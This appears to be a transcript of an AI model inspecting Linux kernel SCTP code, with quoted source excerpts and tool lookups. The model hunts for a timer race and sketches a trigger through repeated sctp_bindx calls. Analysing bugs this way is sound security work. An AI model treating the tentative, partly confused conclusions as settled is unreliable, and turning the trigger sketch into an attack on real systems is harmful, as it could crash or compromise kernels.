1409:					error = -ENOMEM;
1410:					break;
1411:				}
1412:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1413:						SCTP_CHUNK(new_obj));
1414:	
1415:				/* If there is an ERROR chunk to be sent along with
1416:				 * the COOKIE_ECHO, send it, too.
1417:				 */
1418:				if (cmd->obj.chunk)
1419:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1420:							SCTP_CHUNK(cmd->obj.chunk));
1421:	
1422:				if (new_obj->transport) {
1423:					new_obj->transport->init_sent_count++;
1424:					asoc->init_last_sent_to = new_obj->transport;
1425:				}
1426:	
1427:				/* FIXME - Eventually come up with a cleaner way to
1428:				 * enabling COOKIE-ECHO + DATA bundling during
1429:				 * multihoming stale cookie scenarios, the following
1430:				 * command plays with asoc->peer.retran_path to
1431:				 * avoid the problem of sending the COOKIE-ECHO and
1432:				 * DATA in different paths, which could result
1433:				 * in the association being ABORTed if the DATA chunk
1434:				 * is processed first by the server.  Checking the
1435:				 * init error counter simply causes this command
1436:				 * to be executed only during failed attempts of
1437:				 * association establishment.
1438:				 */
1439:				if ((asoc->peer.retran_path !=
1440:				     asoc->peer.primary_path) &&
1441:				    (asoc->init_err_counter > 0)) {
1442:					sctp_add_cmd_sf(commands,
1443:							SCTP_CMD_FORCE_PRIM_RETRAN,
1444:							SCTP_NULL());
1445:				}
1446:	
1447:				break;
1448:	
1449:			case SCTP_CMD_GEN_SHUTDOWN:
1450:				/* Generate SHUTDOWN when in SHUTDOWN_SENT state.
1451:				 * Reset error counts.
1452:				 */
1453:				asoc->overall_error_count = 0;
1454:	
1455:				/* Generate a SHUTDOWN chunk.  */
1456:				new_obj = sctp_make_shutdown(asoc, chunk);
1457:				if (!new_obj) {
1458:					error = -ENOMEM;
1459:					break;
1460:				}
1461:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1462:						SCTP_CHUNK(new_obj));
1463:				break;
1464:	
1465:			case SCTP_CMD_CHUNK_ULP:
1466:				/* Send a chunk to the sockets layer.  */
1467:				pr_debug("%s: sm_sideff: chunk_up:%p, ulpq:%p\n",
1468:					 __func__, cmd->obj.chunk, &asoc->ulpq);
1469:	
1470:				asoc->stream.si->ulpevent_data(&asoc->ulpq,
1471:							       cmd->obj.chunk,
1472:							       GFP_ATOMIC);
1473:				break;
1474:	
1475:			case SCTP_CMD_EVENT_ULP:
1476:				/* Send a notification to the sockets layer.  */
1477:				pr_debug("%s: sm_sideff: event_up:%p, ulpq:%p\n",
1478:					 __func__, cmd->obj.ulpevent, &asoc->ulpq);
1479:	
1480:				asoc->stream.si->enqueue_event(&asoc->ulpq,
1481:							       cmd->obj.ulpevent);
1482:				break;
1483:	
1484:			case SCTP_CMD_REPLY:
1485:				/* If an caller has not already corked, do cork. */
1486:				if (!asoc->outqueue.cork) {
1487:					sctp_outq_cork(&asoc->outqueue);
1488:					local_cork = 1;
1489:				}
1490:				/* Send a chunk to our peer.  */
1491:				sctp_outq_tail(&asoc->outqueue, cmd->obj.chunk, gfp);
1492:				break;
1493:	
1494:			case SCTP_CMD_SEND_PKT:
1495:				/* Send a full packet to our peer.  */
1496:				packet = cmd->obj.packet;
1497:				sctp_packet_transmit(packet, gfp);
1498:				sctp_ootb_pkt_free(packet);
1499:				break;
1500:	
1501:			case SCTP_CMD_T1_RETRAN:
1502:				/* Mark a transport for retransmission.  */
1503:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1504:						SCTP_RTXR_T1_RTX);
1505:				break;
1506:	
1507:			case SCTP_CMD_RETRAN:
1508:				/* Mark a transport for retransmission.  */
1509:				sctp_retransmit(&asoc->outqueue, cmd->obj.transport,
1510:						SCTP_RTXR_T3_RTX);
1511:				break;
1512:	
1513:			case SCTP_CMD_ECN_CE:
1514:				/* Do delayed CE processing.   */
1515:				sctp_do_ecn_ce_work(asoc, cmd->obj.u32);
1516:				break;
1517:	
1518:			case SCTP_CMD_ECN_ECNE:
1519:				/* Do delayed ECNE processing. */
1520:				new_obj = sctp_do_ecn_ecne_work(asoc, cmd->obj.u32,
1521:								chunk);
1522:				if (new_obj)
1523:					sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1524:							SCTP_CHUNK(new_obj));
1525:				break;
1526:	
1527:			case SCTP_CMD_ECN_CWR:
1528:				/* Do delayed CWR processing.  */
1529:				sctp_do_ecn_cwr_work(asoc, cmd->obj.u32);
1530:				break;
1531:	
1532:			case SCTP_CMD_SETUP_T2:
1533:				sctp_cmd_setup_t2(commands, asoc, cmd->obj.chunk);
1534:				break;
1535:	
1536:			case SCTP_CMD_TIMER_START_ONCE:
1537:				timer = &asoc->timers[cmd->obj.to];
1538:	
1539:				if (timer_pending(timer))
1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
1550:				 * timer starts as side effects, it can be hard to tell if we
1551:				 * have already started a timer or not, which leads to BUG
1552:				 * halts when we call add_timer. So here, instead of just starting
1553:				 * a timer, if the timer is already started, and just mod
1554:				 * the timer with the shorter of the two expiration times
1555:				 */
1556:				if (!timer_pending(timer))
1557:					sctp_association_hold(asoc);
1558:				timer_reduce(timer, jiffies + timeout);
1559:				break;
1560:	
1561:			case SCTP_CMD_TIMER_RESTART:
1562:				timer = &asoc->timers[cmd->obj.to];
1563:				timeout = asoc->timeouts[cmd->obj.to];
1564:				if (!mod_timer(timer, jiffies + timeout))
1565:					sctp_association_hold(asoc);
1566:				break;
1567:	
1568:			case SCTP_CMD_TIMER_STOP:
1569:				timer = &asoc->timers[cmd->obj.to];
1570:				if (timer_delete(timer))
1571:					sctp_association_put(asoc);
1572:				break;
1573:	
1574:			case SCTP_CMD_INIT_CHOOSE_TRANSPORT:
1575:				chunk = cmd->obj.chunk;
1576:				t = sctp_assoc_choose_alter_transport(asoc,
1577:							asoc->init_last_sent_to);
1578:				asoc->init_last_sent_to = t;
1579:				chunk->transport = t;
1580:				t->init_sent_count++;
1581:				/* Set the new transport as primary */
1582:				sctp_assoc_set_primary(asoc, t);
1583:				break;
1584:	
1585:			case SCTP_CMD_INIT_RESTART:
1586:				/* Do the needed accounting and updates
1587:				 * associated with restarting an initialization
1588:				 * timer. Only multiply the timeout by two if
1589:				 * all transports have been tried at the current
1590:				 * timeout.
1591:				 */
1592:				sctp_cmd_t1_timer_update(asoc,
1593:							SCTP_EVENT_TIMEOUT_T1_INIT,
1594:							"INIT");
1595:	
1596:				sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
1597:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
1598:				break;
1599:	
1600:			case SCTP_CMD_COOKIEECHO_RESTART:
1601:				/* Do the needed accounting and updates
1602:				 * associated with restarting an initialization
1603:				 * timer. Only multiply the timeout by two if
1604:				 * all transports have been tried at the current
1605:				 * timeout.
1606:				 */
1607:				sctp_cmd_t1_timer_update(asoc,
1608:							SCTP_EVENT_TIMEOUT_T1_COOKIE,
1609:							"COOKIE");
1610:	
1611:				/* If we've sent any data bundled with
1612:				 * COOKIE-ECHO we need to resend.
1613:				 */
1614:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1615:						transports) {
1616:					sctp_retransmit_mark(&asoc->outqueue, t,
1617:						    SCTP_RTXR_T1_RTX);
1618:				}
1619:	
1620:				sctp_add_cmd_sf(commands,
1621:						SCTP_CMD_TIMER_RESTART,
1622:						SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
1623:				break;
1624:	
1625:			case SCTP_CMD_INIT_FAILED:
1626:				sctp_cmd_init_failed(commands, asoc, cmd->obj.u16);
1627:				break;
1628:	
1629:			case SCTP_CMD_ASSOC_FAILED:
1630:				sctp_cmd_assoc_failed(commands, asoc, event_type,
1631:						      subtype, chunk, cmd->obj.u16);
1632:				break;
1633:	
1634:			case SCTP_CMD_INIT_COUNTER_INC:
1635:				asoc->init_err_counter++;
1636:				break;
1637:	
1638:			case SCTP_CMD_INIT_COUNTER_RESET:
1639:				asoc->init_err_counter = 0;
1640:				asoc->init_cycle = 0;
1641:				list_for_each_entry(t, &asoc->peer.transport_addr_list,
1642:						    transports) {
1643:					t->init_sent_count = 0;
1644:				}
1645:				break;
1646:	
1647:			case SCTP_CMD_REPORT_DUP:
1648:				sctp_tsnmap_mark_dup(&asoc->peer.tsn_map,
1649:						     cmd->obj.u32);
1650:				break;
1651:	
1652:			case SCTP_CMD_REPORT_BAD_TAG:
1653:				pr_debug("%s: vtag mismatch!\n", __func__);
1654:				break;
1655:	
1656:			case SCTP_CMD_STRIKE:
1657:				/* Mark one strike against a transport.  */
1658:				sctp_do_8_2_transport_strike(commands, asoc,
1659:							    cmd->obj.transport, 0);
1660:				break;
1661:	
1662:			case SCTP_CMD_TRANSPORT_IDLE:
1663:				t = cmd->obj.transport;
1664:				sctp_transport_lower_cwnd(t, SCTP_LOWER_CWND_INACTIVE);
1665:				break;
1666:	
1667:			case SCTP_CMD_TRANSPORT_HB_SENT:
1668:				t = cmd->obj.transport;
1669:				sctp_do_8_2_transport_strike(commands, asoc,
1670:							     t, 1);
1671:				t->hb_sent = 1;
1672:				break;
1673:	
1674:			case SCTP_CMD_TRANSPORT_ON:
1675:				t = cmd->obj.transport;
1676:				sctp_cmd_transport_on(commands, asoc, t, chunk);
1677:				break;
1678:	
1679:			case SCTP_CMD_HB_TIMERS_START:
1680:				sctp_cmd_hb_timers_start(commands, asoc);
1681:				break;
1682:	
1683:			case SCTP_CMD_HB_TIMER_UPDATE:
1684:				t = cmd->obj.transport;
1685:				sctp_transport_reset_hb_timer(t);
1686:				break;
1687:	
1688:			case SCTP_CMD_HB_TIMERS_STOP:
1689:				sctp_cmd_hb_timers_stop(commands, asoc);
1690:				break;
1691:	
1692:			case SCTP_CMD_PROBE_TIMER_UPDATE:
1693:				t = cmd->obj.transport;
1694:				sctp_transport_reset_probe_timer(t);
1695:				break;
1696:	
1697:			case SCTP_CMD_REPORT_ERROR:
1698:				error = cmd->obj.error;
1699:				break;
1700:	
1701:			case SCTP_CMD_PROCESS_CTSN:
1702:				/* Dummy up a SACK for processing. */
1703:				sackh.cum_tsn_ack = cmd->obj.be32;
1704:				sackh.a_rwnd = htonl(asoc->peer.rwnd +
1705:						     asoc->outqueue.outstanding_bytes);
1706:				sackh.num_gap_ack_blocks = 0;
1707:				sackh.num_dup_tsns = 0;
1708:				chunk->subh.sack_hdr = &sackh;
1709:				sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_SACK,
1710:						SCTP_CHUNK(chunk));
1711:				break;
1712:	
1713:			case SCTP_CMD_DISCARD_PACKET:
1714:				/* We need to discard the whole packet.
1715:				 * Uncork the queue since there might be
1716:				 * responses pending
1717:				 */
1718:				chunk->pdiscard = 1;
1719:				if (asoc) {
1720:					sctp_outq_uncork(&asoc->outqueue, gfp);
1721:					local_cork = 0;
1722:				}
1723:				break;
1724:	
1725:			case SCTP_CMD_RTO_PENDING:
1726:				t = cmd->obj.transport;
1727:				t->rto_pending = 1;
1728:				break;
1729:	
1730:			case SCTP_CMD_PART_DELIVER:
1731:				asoc->stream.si->start_pd(&asoc->ulpq, GFP_ATOMIC);
1732:				break;
1733:	
1734:			case SCTP_CMD_RENEGE:
1735:				asoc->stream.si->renege_events(&asoc->ulpq,
1736:							       cmd->obj.chunk,
1737:							       GFP_ATOMIC);
1738:				break;
1739:	
1740:			case SCTP_CMD_SETUP_T4:
1741:				sctp_cmd_setup_t4(commands, asoc, cmd->obj.chunk);
1742:				break;
1743:	
1744:			case SCTP_CMD_PROCESS_OPERR:
1745:				sctp_cmd_process_operr(commands, asoc, chunk);
1746:				break;
1747:			case SCTP_CMD_CLEAR_INIT_TAG:
1748:				asoc->peer.i.init_tag = 0;
1749:				break;
1750:			case SCTP_CMD_DEL_NON_PRIMARY:
1751:				sctp_cmd_del_non_primary(asoc);
1752:				break;
1753:			case SCTP_CMD_T3_RTX_TIMERS_STOP:
1754:				sctp_cmd_t3_rtx_timers_stop(commands, asoc);
1755:				break;
1756:			case SCTP_CMD_FORCE_PRIM_RETRAN:
1757:				t = asoc->peer.retran_path;
1758:				asoc->peer.retran_path = asoc->peer.primary_path;
1759:				sctp_outq_uncork(&asoc->outqueue, gfp);
1760:				local_cork = 0;
1761:				asoc->peer.retran_path = t;
1762:				break;
1763:			case SCTP_CMD_SET_SK_ERR:
1764:				sctp_cmd_set_sk_err(asoc, cmd->obj.error);
1765:				break;
1766:			case SCTP_CMD_ASSOC_CHANGE:
1767:				sctp_cmd_assoc_change(commands, asoc,
1768:						      cmd->obj.u8);
1769:				break;
1770:			case SCTP_CMD_ADAPTATION_IND:
1771:				sctp_cmd_adaptation_ind(commands, asoc);
1772:				break;
1773:			case SCTP_CMD_PEER_NO_AUTH:
1774:				sctp_cmd_peer_no_auth(commands, asoc);
1775:				break;
1776:	
1777:			case SCTP_CMD_ASSOC_SHKEY:
1778:				error = sctp_auth_asoc_init_active_key(asoc,
1779:							GFP_ATOMIC);
1780:				break;
1781:			case SCTP_CMD_UPDATE_INITTAG:
1782:				asoc->peer.i.init_tag = cmd->obj.u32;
1783:				break;
1784:			case SCTP_CMD_SEND_MSG:
1785:				if (!asoc->outqueue.cork) {
1786:					sctp_outq_cork(&asoc->outqueue);
1787:					local_cork = 1;
1788:				}
1789:				sctp_cmd_send_msg(asoc, cmd->obj.msg, gfp);
1790:				break;
1791:			case SCTP_CMD_PURGE_ASCONF_QUEUE:
1792:				sctp_asconf_queue_teardown(asoc);
1793:				break;
1794:	
1795:			case SCTP_CMD_SET_ASOC:
1796:				if (asoc && local_cork) {
1797:					sctp_outq_uncork(&asoc->outqueue, gfp);
1798:					local_cork = 0;
1799:				}
1800:				asoc = cmd->obj.asoc;
1801:				break;
1802:	
1803:			default:
1804:				pr_warn("Impossible command: %u\n",
1805:					cmd->verb);
1806:				break;
1807:			}
1808:	
1809:			if (error) {
1810:				cmd = sctp_next_cmd(commands);
1811:				while (cmd) {
1812:					if (cmd->verb == SCTP_CMD_REPLY)
1813:						sctp_chunk_free(cmd->obj.chunk);
1814:					cmd = sctp_next_cmd(commands);
1815:				}
1816:				break;
1817:			}
1818:		}
1819:	
1820:		/* If this is in response to a received chunk, wait until
1821:		 * we are done with the packet to open the queue so that we don't
1822:		 * send multiple packets in response to a single request.
1823:		 */
1824:		if (asoc && SCTP_EVENT_T_CHUNK == event_type && chunk) {
1825:			if (chunk->end_of_packet || chunk->singleton)
1826:				sctp_outq_uncork(&asoc->outqueue, gfp);
1827:		} else if (local_cork)
1828:			sctp_outq_uncork(&asoc->outqueue, gfp);
1829:	
1830:		if (sp->data_ready_signalled)
1831:			sp->data_ready_signalled = 0;
1832:	
1833:		return error;
1834:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 30344
							output: 50
							thoughts: 300
						

**My Thought Process Regarding SCTP Timer Handling**

Okay, so I've been digging into this SCTP timer logic, and I've hit upon what I believe is the core of a specific issue. My initial observation was about how `SCTP_CMD_TIMER_RESTART` handles its timers. I looked at the code snippet:

```c
		case SCTP_CMD_TIMER_RESTART:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			if (!mod_timer(timer, jiffies + timeout))
				sctp_association_hold(asoc);
			break;
```

And my immediate thought was, "This looks robust." The use of `mod_timer` is standard, and importantly, it checks the return value. The fact that it calls `sctp_association_hold(asoc)` when `mod_timer` returns 0 indicates a safety mechanism is in place. If the timer wasn't active, it seems to be gracefully handled by putting the association on hold. That's good.

However, my attention was then drawn to `SCTP_CMD_TIMER_START`, and this is where my concern really solidifies. The code here is:

```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```

My analysis of this block leads me to conclude: "This is the buggy one." The `BUG_ON(!timeout)` is a strong indicator that a valid timeout is expected, which is reasonable. But the subsequent logic, specifically the `if (!timer_pending(timer)) sctp_association_hold(asoc);` followed by `timer_reduce(timer, jiffies + timeout);` seems problematic. The key issue here is that it *always* attempts to `timer_reduce`, even if the timer isn't pending, and the `sctp_association_hold` call *only* happens if the timer is *not* pending. This feels like a potential race condition or a missing check. If the timer is already running, and `timer_reduce` is called, what's the intended behavior? And if `timer_pending` is false, it holds the association, but then it proceeds to `timer_reduce`. It feels like the logic might be inverted or incomplete.

Therefore, my immediate next step, driven by this observation, is to ensure that `SCTP_CMD_TIMER_START` *is* executed in the scenarios where it *should* be, as it seems to be the locus of the problem. This naturally leads me to ask: "When exactly is `SCTP_CMD_TIMER_START` generated?" My immediate instinct is to investigate the functions that *generate* these commands, and `sctp_primitive_ASCONF` is the first place that comes to my mind to look for its invocation. I need to trace the call chain to understand the context in which `SCTP_CMD_TIMER_START` is issued to fully grasp the implications of its behavior.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_prm_asconf]

map[SourceCode:5568:	/*
5569:	 * ADDIP Section 4.1 ASCONF Chunk Procedures
5570:	 * When an endpoint has an ASCONF signaled change to be sent to the
5571:	 * remote endpoint it should do A1 to A9
5572:	 */
5573:	enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
5574:						    const struct sctp_endpoint *ep,
5575:						    const struct sctp_association *asoc,
5576:						    const union sctp_subtype type,
5577:						    void *arg,
5578:						    struct sctp_cmd_seq *commands)
5579:	{
5580:		struct sctp_chunk *chunk = arg;
5581:	
5582:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
5583:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
5584:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
5585:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(chunk));
5586:		return SCTP_DISPOSITION_CONSUME;
5587:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 31086
							output: 49
							thoughts: 154
						

**My Thought Process Regarding ASCONF Chunk Handling in SCTP**

Ah, excellent! I've just confirmed a key detail: the `sctp_sf_do_prm_asconf` function is indeed responsible for initiating the start of a timer related to ASCONF chunks. This timer is specifically signaled by the generation of `SCTP_CMD_TIMER_START`.

Now, I'm recalling the context for when `sctp_sf_do_prm_asconf` is invoked. It's directly tied to the act of sending an ASCONF chunk. However, a crucial nuance comes to mind: the `sctp_send_asconf` function, which is the primary gateway for sending these chunks, has a condition. It only proceeds to actually send the ASCONF chunk (and consequently call `sctp_primitive_ASCONF`) if the `asoc->addip_last_asconf` pointer is NULL.

This means that if there's already an ASCONF chunk that's been sent but hasn't yet received an acknowledgment, `sctp_send_asconf` won't immediately send a new one. Instead, it will queue that new ASCONF chunk in the `asoc->addip_chunk_list`. This is a sensible behavior to prevent overwhelming the peer or creating out-of-order processing issues.

This naturally leads me to the next question: when does this queued chunk get sent? The answer, I'm realizing, is when the corresponding ASCONF-ACK is received. So, to fully understand the lifecycle, I need to delve into the logic for handling those acknowledgments. My next step will be to examine the `sctp_sf_do_asconf_ack` function to see how it triggers the sending of these queued ASCONF chunks.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_asconf_ack]

map[SourceCode:4050:	/*
4051:	 * ADDIP Section 4.3 General rules for address manipulation
4052:	 * When building TLV parameters for the ASCONF Chunk that will add or
4053:	 * delete IP addresses the D0 to D13 rules should be applied:
4054:	 */
4055:	enum sctp_disposition sctp_sf_do_asconf_ack(struct net *net,
4056:						    const struct sctp_endpoint *ep,
4057:						    const struct sctp_association *asoc,
4058:						    const union sctp_subtype type,
4059:						    void *arg,
4060:						    struct sctp_cmd_seq *commands)
4061:	{
4062:		struct sctp_chunk *last_asconf = asoc->addip_last_asconf;
4063:		struct sctp_paramhdr *err_param = NULL;
4064:		struct sctp_chunk *asconf_ack = arg;
4065:		struct sctp_addiphdr *addip_hdr;
4066:		__u32 sent_serial, rcvd_serial;
4067:		struct sctp_chunk *abort;
4068:	
4069:		if (!sctp_vtag_verify(asconf_ack, asoc)) {
4070:			sctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG,
4071:					SCTP_NULL());
4072:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
4073:		}
4074:	
4075:		/* Make sure that the ADDIP chunk has a valid length.  */
4076:		if (!sctp_chunk_length_valid(asconf_ack,
4077:					     sizeof(struct sctp_addip_chunk)))
4078:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
4079:							  commands);
4080:	
4081:		/* ADD-IP, Section 4.1.2:
4082:		 * This chunk MUST be sent in an authenticated way by using
4083:		 * the mechanism defined in [I-D.ietf-tsvwg-sctp-auth]. If this chunk
4084:		 * is received unauthenticated it MUST be silently discarded as
4085:		 * described in [I-D.ietf-tsvwg-sctp-auth].
4086:		 */
4087:		if (!asoc->peer.asconf_capable ||
4088:		    (!net->sctp.addip_noauth && !asconf_ack->auth))
4089:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
4090:	
4091:		addip_hdr = (struct sctp_addiphdr *)asconf_ack->skb->data;
4092:		rcvd_serial = ntohl(addip_hdr->serial);
4093:	
4094:		/* Verify the ASCONF-ACK chunk before processing it. */
4095:		if (!sctp_verify_asconf(asoc, asconf_ack, false, &err_param))
4096:			return sctp_sf_violation_paramlen(net, ep, asoc, type, arg,
4097:				   (void *)err_param, commands);
4098:	
4099:		if (last_asconf) {
4100:			addip_hdr = last_asconf->subh.addip_hdr;
4101:			sent_serial = ntohl(addip_hdr->serial);
4102:		} else {
4103:			sent_serial = asoc->addip_serial - 1;
4104:		}
4105:	
4106:		/* D0) If an endpoint receives an ASCONF-ACK that is greater than or
4107:		 * equal to the next serial number to be used but no ASCONF chunk is
4108:		 * outstanding the endpoint MUST ABORT the association. Note that a
4109:		 * sequence number is greater than if it is no more than 2^^31-1
4110:		 * larger than the current sequence number (using serial arithmetic).
4111:		 */
4112:		if (ADDIP_SERIAL_gte(rcvd_serial, sent_serial + 1) &&
4113:		    !(asoc->addip_last_asconf)) {
4114:			abort = sctp_make_abort(asoc, asconf_ack,
4115:						sizeof(struct sctp_errhdr));
4116:			if (abort) {
4117:				sctp_init_cause(abort, SCTP_ERROR_ASCONF_ACK, 0);
4118:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
4119:						SCTP_CHUNK(abort));
4120:			}
4121:			/* We are going to ABORT, so we might as well stop
4122:			 * processing the rest of the chunks in the packet.
4123:			 */
4124:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
4125:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
4126:			sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
4127:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
4128:					SCTP_ERROR(ECONNABORTED));
4129:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
4130:					SCTP_PERR(SCTP_ERROR_ASCONF_ACK));
4131:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
4132:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
4133:			return SCTP_DISPOSITION_ABORT;
4134:		}
4135:	
4136:		if ((rcvd_serial == sent_serial) && asoc->addip_last_asconf) {
4137:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
4138:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
4139:	
4140:			if (!sctp_process_asconf_ack((struct sctp_association *)asoc,
4141:						     asconf_ack))
4142:				return sctp_send_next_asconf(net, ep,
4143:						(struct sctp_association *)asoc,
4144:								type, commands);
4145:	
4146:			abort = sctp_make_abort(asoc, asconf_ack,
4147:						sizeof(struct sctp_errhdr));
4148:			if (abort) {
4149:				sctp_init_cause(abort, SCTP_ERROR_RSRC_LOW, 0);
4150:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
4151:						SCTP_CHUNK(abort));
4152:			}
4153:			/* We are going to ABORT, so we might as well stop
4154:			 * processing the rest of the chunks in the packet.
4155:			 */
4156:			sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
4157:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
4158:					SCTP_ERROR(ECONNABORTED));
4159:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
4160:					SCTP_PERR(SCTP_ERROR_ASCONF_ACK));
4161:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
4162:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
4163:			return SCTP_DISPOSITION_ABORT;
4164:		}
4165:	
4166:		return SCTP_DISPOSITION_DISCARD;
4167:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 33613
							output: 47
							thoughts: 32
						

**A Deep Dive into `sctp_send_next_asconf`**

Ah, it appears the function `sctp_send_next_asconf` has just been invoked. My immediate instinct, as an expert in this domain, is to dissect its purpose and functionality. I need to understand precisely what `sctp_send_next_asconf` is designed to accomplish within the SCTP (Stream Control Transmission Protocol) stack. What state does it operate on? What triggers its execution? What are its inputs and its expected outputs? I'll be scrutinizing its internal logic to ascertain the specific association configuration data it's intended to transmit next, and under what conditions this transmission is deemed necessary. My focus will be on the decision-making process that leads to this particular function call and the subsequent actions it orchestrates.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_send_next_asconf]

map[SourceCode:4027:	static enum sctp_disposition sctp_send_next_asconf(
4028:						struct net *net,
4029:						const struct sctp_endpoint *ep,
4030:						struct sctp_association *asoc,
4031:						const union sctp_subtype type,
4032:						struct sctp_cmd_seq *commands)
4033:	{
4034:		struct sctp_chunk *asconf;
4035:		struct list_head *entry;
4036:	
4037:		if (list_empty(&asoc->addip_chunk_list))
4038:			return SCTP_DISPOSITION_CONSUME;
4039:	
4040:		entry = asoc->addip_chunk_list.next;
4041:		asconf = list_entry(entry, struct sctp_chunk, list);
4042:	
4043:		list_del_init(entry);
4044:		sctp_chunk_hold(asconf);
4045:		asoc->addip_last_asconf = asconf;
4046:	
4047:		return sctp_sf_do_prm_asconf(net, ep, asoc, type, asconf, commands);
4048:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 34065
							output: 34
							thoughts: 712
						

**My Thought Process Unraveling a Potential SCTP Race Condition**

Okay, so I was digging into `sctp_send_next_asconf` and I noticed it directly calls `sctp_sf_do_prm_asconf`. This function, in turn, is responsible for generating the `SCTP_CMD_TIMER_START` command. My initial thought was, "Alright, so starting timers is happening here."

However, my attention was immediately drawn to the fact that `sctp_sf_do_prm_asconf` is invoked from `sctp_sf_do_asconf_ack`. And here's the kicker: `sctp_sf_do_asconf_ack` executes *only* when an ASCONF-ACK is received. This immediately raised a red flag because this handler is running in softirq context.

My next thought was about potential race conditions. If `SCTP_CMD_TIMER_START` is generated within the softirq context, I initially reasoned it couldn't race with the timer softirq *on the same CPU*. But then I considered, could it race with the timer softirq on a *different CPU*?

This is where I paused and reassessed. I remembered that `sctp_sf_do_asconf_ack` takes `bh_lock_sock(sk)`. This lock is also acquired by the timer softirq handler (`sctp_generate_t4_rto_event`). My immediate conclusion then was, "If both handlers need to acquire `bh_lock_sock(sk)`, they can't run concurrently!" This seemed like a good safeguard.

But then, a deeper layer of thought kicked in. If `sctp_sf_do_asconf_ack` is indeed running and holds `bh_lock_sock(sk)`, then the timer softirq's attempt to acquire `bh_lock_sock(sk)` would either cause it to block or, more importantly, it would see `sock_owned_by_user(sk)` as true. This is a crucial point.

Now, here's where the nuance really matters: if `sctp_sf_do_asconf_ack` is executing in softirq context, then `sock_owned_by_user(sk)` *should be FALSE*. The only scenario where it would be true is if a user process is actively holding `lock_sock(sk)`. If a user process *is* holding `lock_sock(sk)`, then `sctp_sf_do_asconf_ack` isn't actually running in softirq context at that moment! Instead, the incoming ASCONF-ACK is being added to the backlog, and the handler will be executed later by the user process itself once it releases `lock_sock(sk)`.

*Ah, that's the critical distinction!*

So, the chain of events is:
1. A user process holds `lock_sock(sk)`.
2. An ASCONF-ACK arrives. Because the sock is locked by the user, the ASCONF-ACK is queued in the backlog.
3. The user process eventually releases `lock_sock(sk)`.
4. The `release_sock(sk)` function then processes the backlog.
5. Processing the backlog triggers the execution of `sctp_sf_do_asconf_ack`.
6. This, in turn, calls `sctp_send_next_asconf`, which generates the `SCTP_CMD_TIMER_START` command.
7. **Crucially, this entire sequence is now happening in process context, not softirq context.**

This realization leads to a new concern: if this timer start is being generated in *process context*, then it absolutely *can* race with the timer softirq, which *is* running in softirq context.

I then started thinking about a specific scenario: what if I were to call `sctp_bindx` repeatedly in a loop?
1. `sctp_bindx` holds `lock_sock(sk)`.
2. It proceeds to send an ASCONF.
3. The server receives this ASCONF and sends back an ASCONF-ACK.
4. The client receives the ASCONF-ACK. Because `lock_sock(sk)` is still held by `sctp_bindx`, this ASCONF-ACK gets added to the backlog.
5. `sctp_bindx` finally finishes and releases `lock_sock(sk)`.
6. `release_sock(sk)` then processes the backlog, including the ASCONF-ACK.
7. This triggers `sctp_sf_do_asconf_ack`, which then sends the next ASCONF from the queue and generates `SCTP_CMD_TIMER_START`.

And at precisely this point, during the execution of `release_sock(sk)` processing the backlog, the timer softirq *can* indeed run concurrently! My immediate thought is to re-examine the `release_sock` function to confirm if it also acquires `bh_lock_sock(sk)`. That seems to be the next logical step in verifying this potential race.

